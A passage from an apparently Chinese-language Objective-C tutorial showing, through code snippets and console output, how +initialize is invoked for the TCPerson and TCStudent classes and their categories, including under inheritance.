@autoreleasepool {
[TCPerson alloc];
[TCPerson alloc];
[TCPerson alloc];
[TCPerson alloc];
}
return 0;
}
2020-12-04 15:11:12.246442+0800 TCCateogry[1659:85317] TCPerson (TCtest2) +initialize
Program ended with exit code: 0
我们再来看看继承关系中,initialize的调用
int main(int argc, const char * argv[]) {
@autoreleasepool {
[TCStudent alloc];
}
return 0;
}
输出结果:
2020-12-04 15:14:58.705423+0800 TCCateogry[1705:87507] TCPerson (TCtest2) +initialize
2020-12-04 15:14:58.705750+0800 TCCateogry[1705:87507] TCStudent (TCStudentTest2) +initialize
Program ended with exit code: 0
int main(int argc, const char * argv[]) {
@autoreleasepool {
[TCPerson alloc];
[TCPerson alloc];
[TCStudent alloc];
[TCStudent alloc];
}
return 0;
}
输出结果:
020-12-04 15:23:27.168243+0800 TCCateogry[1731:91248] TCPerson (TCtest2) +initialize
2020-12-04 15:23:27.168601+0800 TCCateogry[1731:91248] TCStudent (TCStudentTest2) +initialize
Program ended with exit code: 0
#import "TCStudent.h"
@implementation TCStudent
//+ (void)initialize{
// NSLog(@"TCStudent +initialize");
//}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
[TCPerson alloc];
[TCStudent alloc];
}
return 0;
}
输出结果:
2020-12-04 15:37:09.055459+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize
2020-12-04 15:37:09.055775+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize
Program ended with exit code: 0
#import "TCStudent.h"
@implementation TCStudent
+ (void)initialize{
NSLog(@"TCStudent +initialize");
}
@end
#import "TCStudent+TCStudentTest1.h"
@implementation TCStudent (TCStudentTest1)
+ (void)initialize{
NSLog(@"TCStudent (TCStudentTest1) +initialize");
}
@end#import "TCStudent+TCStudentTest2.h"
@implementation TCStudent (TCStudentTest2)
+ (void)initialize{
NSLog(@"TCStudent (TCStudentTest2) +initialize");
}
@end
2020-12-04 15:41:21.863260+0800 TCCateogry[1868:100750] TCPerson (TCtest2) +initialize
2020-12-04 15:41:21.863568+0800 TCCateogry[1868:100750] TCStudent (TCStudentTest2) +initialize
Program ended with exit code: 0